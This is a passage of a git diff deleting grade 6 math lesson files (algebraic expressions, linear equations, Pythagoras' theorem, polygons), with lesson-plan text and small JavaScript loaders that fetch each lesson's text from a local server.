-Explain that 3x means 3 * x. Algebraic expressions describe operations to be performed on operands. Operands may be letters or numbers. Operations are addition (+), subtraction (-), division (/), and multiplication (omitted). Emphasize that multiplication and division are done before addition and subtraction (distributive property). Introduce the word 'term' to describe the addition or subtraction of a product or quotient. Explain the difference between like and unlike terms.
-
-Introduce evaluation of algebraic expressions given the number which the letter represents.
-
-Introduce simplifying expressions by grouping like terms. Show that this is possible by the associative and commutative properties of addition and multiplication.
-
diff --git a/Save_Mathematics/P6/map612m06/map612m06a01/a.txt b/Save_Mathematics/P6/map612m06/map612m06a01/a.txt
deleted file mode 100644
index 7432ef0..0000000
--- a/Save_Mathematics/P6/map612m06/map612m06a01/a.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-Introduction
-
-Introduce the student to algebraic expressions such as 3x, 4a+7, x+y/2, (7-x)2.
-
-Explain that each letter in the expression represents a number.
-
-Explain that 3x means 3 * x. Algebraic expressions describe operations to be performed on operands. Operands may be letters or numbers. Operations are addition (+), subtraction (-), division (/), and multiplication (omitted). Emphasize that multiplication and division are done before addition and subtraction (distributive property). Introduce the word 'term' to describe the addition or subtraction of a product or quotient. Explain the difference between like and unlike terms.
-
-Introduce evaluation of algebraic expressions given the number which the letter represents.
-
-Introduce simplifying expressions by grouping like terms. Show that this is possible by the associative and commutative properties of addition and multiplication.
-
diff --git a/Save_Mathematics/P6/map612m06/map612m06a01/description.py b/Save_Mathematics/P6/map612m06/map612m06a01/description.py
deleted file mode 100644
index a29c8d1..0000000
--- a/Save_Mathematics/P6/map612m06/map612m06a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m06a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m06/map612m06a01/lesson.js b/Save_Mathematics/P6/map612m06/map612m06a01/lesson.js
deleted file mode 100644
index e898895..0000000
--- a/Save_Mathematics/P6/map612m06/map612m06a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m06/map612m06a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m06/map612m06a01/source.txt b/Save_Mathematics/P6/map612m06/map612m06a01/source.txt
deleted file mode 100644
index 7432ef0..0000000
--- a/Save_Mathematics/P6/map612m06/map612m06a01/source.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-Introduction
-
-Introduce the student to algebraic expressions such as 3x, 4a+7, x+y/2, (7-x)2.
-
-Explain that each letter in the expression represents a number.
-
-Explain that 3x means 3 * x. Algebraic expressions describe operations to be performed on operands. Operands may be letters or numbers. Operations are addition (+), subtraction (-), division (/), and multiplication (omitted). Emphasize that multiplication and division are done before addition and subtraction (distributive property). Introduce the word 'term' to describe the addition or subtraction of a product or quotient. Explain the difference between like and unlike terms.
-
-Introduce evaluation of algebraic expressions given the number which the letter represents.
-
-Introduce simplifying expressions by grouping like terms. Show that this is possible by the associative and commutative properties of addition and multiplication.
-
diff --git a/Save_Mathematics/P6/map612m06/map612m06a02/a.txt b/Save_Mathematics/P6/map612m06/map612m06a02/a.txt
deleted file mode 100644
index 1da2bc3..0000000
--- a/Save_Mathematics/P6/map612m06/map612m06a02/a.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Guided Practice
-
-The computer will give algebraic expressions. The student will simplify the expression. If the student's answer is incorrect, the computer will simplify citing the appropriate property (associative, commutative, distributive).
-
-The computer will show algebraic expressions. The student will evaluate the expression given the numeric values of the letters. If the answer is incorrect, the computer will derive the value.
-
-The problems will include examples simplifying algebraic expressions by using the distributive property to remove parentheses.
diff --git a/Save_Mathematics/P6/map612m06/map612m06a02/description.py b/Save_Mathematics/P6/map612m06/map612m06a02/description.py
deleted file mode 100644
index 0749da9..0000000
--- a/Save_Mathematics/P6/map612m06/map612m06a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m06a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m06/map612m06a02/lesson.js b/Save_Mathematics/P6/map612m06/map612m06a02/lesson.js
deleted file mode 100644
index ba6ab3c..0000000
--- a/Save_Mathematics/P6/map612m06/map612m06a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m06/map612m06a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m06/map612m06a02/source.txt b/Save_Mathematics/P6/map612m06/map612m06a02/source.txt
deleted file mode 100644
index 1da2bc3..0000000
--- a/Save_Mathematics/P6/map612m06/map612m06a02/source.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Guided Practice
-
-The computer will give algebraic expressions. The student will simplify the expression. If the student's answer is incorrect, the computer will simplify citing the appropriate property (associative, commutative, distributive).
-
-The computer will show algebraic expressions. The student will evaluate the expression given the numeric values of the letters. If the answer is incorrect, the computer will derive the value.
-
-The problems will include examples simplifying algebraic expressions by using the distributive property to remove parentheses.
diff --git a/Save_Mathematics/P6/map612m06/map612m06a03/a.txt b/Save_Mathematics/P6/map612m06/map612m06a03/a.txt
deleted file mode 100644
index e4dec8b..0000000
--- a/Save_Mathematics/P6/map612m06/map612m06a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will give the student a set of problems requiring the simplification and evaluation of algebraic expressions. 
diff --git a/Save_Mathematics/P6/map612m06/map612m06a03/description.py b/Save_Mathematics/P6/map612m06/map612m06a03/description.py
deleted file mode 100644
index 05f759d..0000000
--- a/Save_Mathematics/P6/map612m06/map612m06a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m06a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m06/map612m06a03/lesson.js b/Save_Mathematics/P6/map612m06/map612m06a03/lesson.js
deleted file mode 100644
index 1c0dc69..0000000
--- a/Save_Mathematics/P6/map612m06/map612m06a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m06/map612m06a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m06/map612m06a03/source.txt b/Save_Mathematics/P6/map612m06/map612m06a03/source.txt
deleted file mode 100644
index e4dec8b..0000000
--- a/Save_Mathematics/P6/map612m06/map612m06a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will give the student a set of problems requiring the simplification and evaluation of algebraic expressions. 
diff --git a/Save_Mathematics/P6/map612m07/activities.js b/Save_Mathematics/P6/map612m07/activities.js
deleted file mode 100644
index b69a24b..0000000
--- a/Save_Mathematics/P6/map612m07/activities.js
+++ /dev/null
@@ -1,8 +0,0 @@
-var activities = [
-['1','1','map6','basic','map612m07a01','blue'],
-['2','2','map6','basic','map612m07a02','blue'],
-['3','3','map6','basic','map612m07a03','blue'],
-['4','4','map6','basic','map612m07a04','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map612m07/map612m07a01/a.txt b/Save_Mathematics/P6/map612m07/map612m07a01/a.txt
deleted file mode 100644
index 539c753..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a01/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-Introduce the solution of linear equations by using the properties to rearrange a linear equation in standard form: ax + b = 0 (a not zero). Show that ax = -b and x = -b/a.
-
-Show solutions to several examples of increasing complexity. 
diff --git a/Save_Mathematics/P6/map612m07/map612m07a01/description.py b/Save_Mathematics/P6/map612m07/map612m07a01/description.py
deleted file mode 100644
index b932d35..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m07a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m07/map612m07a01/lesson.js b/Save_Mathematics/P6/map612m07/map612m07a01/lesson.js
deleted file mode 100644
index 3e0dc9e..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m07/map612m07a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m07/map612m07a01/source.txt b/Save_Mathematics/P6/map612m07/map612m07a01/source.txt
deleted file mode 100644
index 539c753..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a01/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-Introduce the solution of linear equations by using the properties to rearrange a linear equation in standard form: ax + b = 0 (a not zero). Show that ax = -b and x = -b/a.
-
-Show solutions to several examples of increasing complexity. 
diff --git a/Save_Mathematics/P6/map612m07/map612m07a02/a.txt b/Save_Mathematics/P6/map612m07/map612m07a02/a.txt
deleted file mode 100644
index 7ff8ce2..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a02/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Guided Practice
-
-The computer will give the students linear equations to solve. If the solution is incorrect, the computer will show each step citing the relevant property.
-
-If the student gives a correct answer, the next problem will be more complex.
diff --git a/Save_Mathematics/P6/map612m07/map612m07a02/description.py b/Save_Mathematics/P6/map612m07/map612m07a02/description.py
deleted file mode 100644
index 25e1175..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m07a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m07/map612m07a02/lesson.js b/Save_Mathematics/P6/map612m07/map612m07a02/lesson.js
deleted file mode 100644
index 9c3fda3..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m07/map612m07a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m07/map612m07a02/source.txt b/Save_Mathematics/P6/map612m07/map612m07a02/source.txt
deleted file mode 100644
index 7ff8ce2..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a02/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Guided Practice
-
-The computer will give the students linear equations to solve. If the solution is incorrect, the computer will show each step citing the relevant property.
-
-If the student gives a correct answer, the next problem will be more complex.
diff --git a/Save_Mathematics/P6/map612m07/map612m07a03/a.txt b/Save_Mathematics/P6/map612m07/map612m07a03/a.txt
deleted file mode 100644
index ae82410..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will give the student linear equations to solve by simplifying to standard form and then solving. 
diff --git a/Save_Mathematics/P6/map612m07/map612m07a03/description.py b/Save_Mathematics/P6/map612m07/map612m07a03/description.py
deleted file mode 100644
index c54f10f..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m07a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m07/map612m07a03/lesson.js b/Save_Mathematics/P6/map612m07/map612m07a03/lesson.js
deleted file mode 100644
index 0ed5fb4..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m07/map612m07a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m07/map612m07a03/source.txt b/Save_Mathematics/P6/map612m07/map612m07a03/source.txt
deleted file mode 100644
index ae82410..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will give the student linear equations to solve by simplifying to standard form and then solving. 
diff --git a/Save_Mathematics/P6/map612m07/map612m07a04/a.txt b/Save_Mathematics/P6/map612m07/map612m07a04/a.txt
deleted file mode 100644
index 2f864b4..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a04/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Enrichment
-
-The student will be asked how the procedures for solving linear equations could be used to solve problems involving inequalities. Examples will be given showing 'order-preserving' operations.
-
-The computer will give several examples. If the student does not give a correct solution, the computer will derive the solution citing the properties.
diff --git a/Save_Mathematics/P6/map612m07/map612m07a04/description.py b/Save_Mathematics/P6/map612m07/map612m07a04/description.py
deleted file mode 100644
index 914baf3..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m07a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m07/map612m07a04/lesson.js b/Save_Mathematics/P6/map612m07/map612m07a04/lesson.js
deleted file mode 100644
index 552e264..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m07/map612m07a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m07/map612m07a04/source.txt b/Save_Mathematics/P6/map612m07/map612m07a04/source.txt
deleted file mode 100644
index 2f864b4..0000000
--- a/Save_Mathematics/P6/map612m07/map612m07a04/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Enrichment
-
-The student will be asked how the procedures for solving linear equations could be used to solve problems involving inequalities. Examples will be given showing 'order-preserving' operations.
-
-The computer will give several examples. If the student does not give a correct solution, the computer will derive the solution citing the properties.
diff --git a/Save_Mathematics/P6/map612m08/activities.js b/Save_Mathematics/P6/map612m08/activities.js
deleted file mode 100644
index 01520d9..0000000
--- a/Save_Mathematics/P6/map612m08/activities.js
+++ /dev/null
@@ -1,8 +0,0 @@
-var activities = [
-['1','1','map6','basic','map612m08a01','blue'],
-['2','2','map6','basic','map612m08a02','blue'],
-['3','3','map6','basic','map612m08a03','blue'],
-['4','4','map6','basic','map612m08a04','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map612m08/map612m08a01/a.txt b/Save_Mathematics/P6/map612m08/map612m08a01/a.txt
deleted file mode 100644
index b6201aa..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a01/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-Introduce Pythagoras' Theorem. Show at least one visual proof.
-
-Show some examples of using the theorem to determine the length of a side of a triangle. Show how the sides of other geometric shapes can be determined by constructing a right triangle. 
diff --git a/Save_Mathematics/P6/map612m08/map612m08a01/description.py b/Save_Mathematics/P6/map612m08/map612m08a01/description.py
deleted file mode 100644
index 51a869b..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m08a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m08/map612m08a01/lesson.js b/Save_Mathematics/P6/map612m08/map612m08a01/lesson.js
deleted file mode 100644
index 262004e..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m08/map612m08a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m08/map612m08a01/source.txt b/Save_Mathematics/P6/map612m08/map612m08a01/source.txt
deleted file mode 100644
index b6201aa..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a01/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-Introduce Pythagoras' Theorem. Show at least one visual proof.
-
-Show some examples of using the theorem to determine the length of a side of a triangle. Show how the sides of other geometric shapes can be determined by constructing a right triangle. 
diff --git a/Save_Mathematics/P6/map612m08/map612m08a02/a.txt b/Save_Mathematics/P6/map612m08/map612m08a02/a.txt
deleted file mode 100644
index 97f4719..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a02/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-GIve examples of using Pythagoras' theorem to determine the length of a side of a geometric figure. If the student gives an incorrect answer, show how the correct solution is derived. 
diff --git a/Save_Mathematics/P6/map612m08/map612m08a02/description.py b/Save_Mathematics/P6/map612m08/map612m08a02/description.py
deleted file mode 100644
index 4c1aa04..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m08a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m08/map612m08a02/lesson.js b/Save_Mathematics/P6/map612m08/map612m08a02/lesson.js
deleted file mode 100644
index 993a3c6..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m08/map612m08a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m08/map612m08a02/source.txt b/Save_Mathematics/P6/map612m08/map612m08a02/source.txt
deleted file mode 100644
index 97f4719..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a02/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-GIve examples of using Pythagoras' theorem to determine the length of a side of a geometric figure. If the student gives an incorrect answer, show how the correct solution is derived. 
diff --git a/Save_Mathematics/P6/map612m08/map612m08a03/a.txt b/Save_Mathematics/P6/map612m08/map612m08a03/a.txt
deleted file mode 100644
index a27d50d..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Provide a set of problems which can be solved by the use of Pythagoras' Theorem
diff --git a/Save_Mathematics/P6/map612m08/map612m08a03/description.py b/Save_Mathematics/P6/map612m08/map612m08a03/description.py
deleted file mode 100644
index 5f606fa..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m08a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m08/map612m08a03/lesson.js b/Save_Mathematics/P6/map612m08/map612m08a03/lesson.js
deleted file mode 100644
index 83b11da..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m08/map612m08a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m08/map612m08a03/source.txt b/Save_Mathematics/P6/map612m08/map612m08a03/source.txt
deleted file mode 100644
index a27d50d..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-Provide a set of problems which can be solved by the use of Pythagoras' Theorem
diff --git a/Save_Mathematics/P6/map612m08/map612m08a04/a.txt b/Save_Mathematics/P6/map612m08/map612m08a04/a.txt
deleted file mode 100644
index dd0755e..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a04/a.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-Enrichment
-
-Ask whether there are any other number combinations a, b, c where
-
-a2+b2=c2 and a, b, c are whole numbers besides a=3, b=4, c=5.
-
-Show how Pythagoras' Theorem motivated finding a general solution to determine the square root of any number.
-
-Show how such a method developed by 'completing the square'.
-
-Show some examples of finding an approximation to the root of a number not a perfect square.
diff --git a/Save_Mathematics/P6/map612m08/map612m08a04/description.py b/Save_Mathematics/P6/map612m08/map612m08a04/description.py
deleted file mode 100644
index 51bd4de..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m08a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m08/map612m08a04/lesson.js b/Save_Mathematics/P6/map612m08/map612m08a04/lesson.js
deleted file mode 100644
index b13bfc1..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m08/map612m08a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m08/map612m08a04/source.txt b/Save_Mathematics/P6/map612m08/map612m08a04/source.txt
deleted file mode 100644
index dd0755e..0000000
--- a/Save_Mathematics/P6/map612m08/map612m08a04/source.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-Enrichment
-
-Ask whether there are any other number combinations a, b, c where
-
-a2+b2=c2 and a, b, c are whole numbers besides a=3, b=4, c=5.
-
-Show how Pythagoras' Theorem motivated finding a general solution to determine the square root of any number.
-
-Show how such a method developed by 'completing the square'.
-
-Show some examples of finding an approximation to the root of a number not a perfect square.
diff --git a/Save_Mathematics/P6/map612m09/activities.js b/Save_Mathematics/P6/map612m09/activities.js
deleted file mode 100644
index 7fca97b..0000000
--- a/Save_Mathematics/P6/map612m09/activities.js
+++ /dev/null
@@ -1,11 +0,0 @@
-var activities = [
-['1','1','map6','basic','map612m09a01','blue'],
-['2','2','map6','basic','map612m09a02','blue'],
-['3','3','map6','basic','map612m09a03','blue'],
-['4','4','map6','basic','map612m09a04','blue'],
-['5','5','map6','basic','map612m09a05','blue'],
-['6','6','map6','basic','map612m09a06','blue'],
-['7','7','map6','basic','map612m09a07','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map612m09/map612m09a01/a.txt b/Save_Mathematics/P6/map612m09/map612m09a01/a.txt
deleted file mode 100644
index b740074..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a01/a.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Introduction
-
-This activity will introduce the student to the different types of polygons:
-convex, concave, polygons with different numbers of sides,regular and irregular, with or without lines of symmetry, triangle, rectangle, trapezium,
-rhombus, parallelogram, quadrilateral.
-
-The concepts of perimeter and area will be reviewed. The method of determining the perimeter and area of polygons will be introduced.
diff --git a/Save_Mathematics/P6/map612m09/map612m09a01/description.py b/Save_Mathematics/P6/map612m09/map612m09a01/description.py
deleted file mode 100644
index a9e444c..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m09a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m09/map612m09a01/lesson.js b/Save_Mathematics/P6/map612m09/map612m09a01/lesson.js
deleted file mode 100644
index cc891f7..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m09/map612m09a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m09/map612m09a01/source.txt b/Save_Mathematics/P6/map612m09/map612m09a01/source.txt
deleted file mode 100644
index b740074..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a01/source.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Introduction
-
-This activity will introduce the student to the different types of polygons:
-convex, concave, polygons with different numbers of sides,regular and irregular, with or without lines of symmetry, triangle, rectangle, trapezium,
-rhombus, parallelogram, quadrilateral.
-
-The concepts of perimeter and area will be reviewed. The method of determining the perimeter and area of polygons will be introduced.
diff --git a/Save_Mathematics/P6/map612m09/map612m09a02/a.txt b/Save_Mathematics/P6/map612m09/map612m09a02/a.txt
deleted file mode 100644
index 4be390c..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a02/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-This activity will present problems involving identifying and giving properties of polygons and determining the perimeter and area of irregular polygons. If the student gives an incorrect answer, the computer will show how to get the correct answer. 
diff --git a/Save_Mathematics/P6/map612m09/map612m09a02/description.py b/Save_Mathematics/P6/map612m09/map612m09a02/description.py
deleted file mode 100644
index 0226187..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m09a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m09/map612m09a02/lesson.js b/Save_Mathematics/P6/map612m09/map612m09a02/lesson.js
deleted file mode 100644
index d4422ba..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m09/map612m09a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m09/map612m09a02/source.txt b/Save_Mathematics/P6/map612m09/map612m09a02/source.txt
deleted file mode 100644
index 4be390c..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a02/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-This activity will present problems involving identifying and giving properties of polygons and determining the perimeter and area of irregular polygons. If the student gives an incorrect answer, the computer will show how to get the correct answer. 
diff --git a/Save_Mathematics/P6/map612m09/map612m09a03/a.txt b/Save_Mathematics/P6/map612m09/map612m09a03/a.txt
deleted file mode 100644
index 116789b..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-This activity will provide a set of problems involving the identification of polygons and determining their perimeter and area. 
diff --git a/Save_Mathematics/P6/map612m09/map612m09a03/description.py b/Save_Mathematics/P6/map612m09/map612m09a03/description.py
deleted file mode 100644
index bb69f50..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m09a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m09/map612m09a03/lesson.js b/Save_Mathematics/P6/map612m09/map612m09a03/lesson.js
deleted file mode 100644
index 09fcdf6..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
